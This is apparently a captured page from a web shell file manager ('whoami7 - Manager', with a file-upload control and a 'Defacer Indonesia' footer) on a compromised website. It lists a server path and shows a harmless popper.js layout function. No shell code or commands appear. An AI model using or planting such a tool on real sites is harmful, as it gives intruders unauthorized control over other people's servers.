whoami7 - Manager
:
/
home
/
kckglobal
/
www
/
tp
/
assets
/
libs
/
@popperjs
/
core
/
esm
/
dom-utils
/
Upload File:
files >> //home/kckglobal/www/tp/assets/libs/@popperjs/core/esm/dom-utils/getLayoutRect.js
import getBoundingClientRect from "./getBoundingClientRect.js"; // Returns the layout rect of an element relative to its offsetParent. Layout // means it doesn't take into account transforms. export default function getLayoutRect(element) { var clientRect = getBoundingClientRect(element); // Use the clientRect sizes if it's not been transformed. // Fixes https://github.com/popperjs/popper-core/issues/1223 var width = element.offsetWidth; var height = element.offsetHeight; if (Math.abs(clientRect.width - width) <= 1) { width = clientRect.width; } if (Math.abs(clientRect.height - height) <= 1) { height = clientRect.height; } return { x: element.offsetLeft, y: element.offsetTop, width: width, height: height }; }
Copyright ©2021 || Defacer Indonesia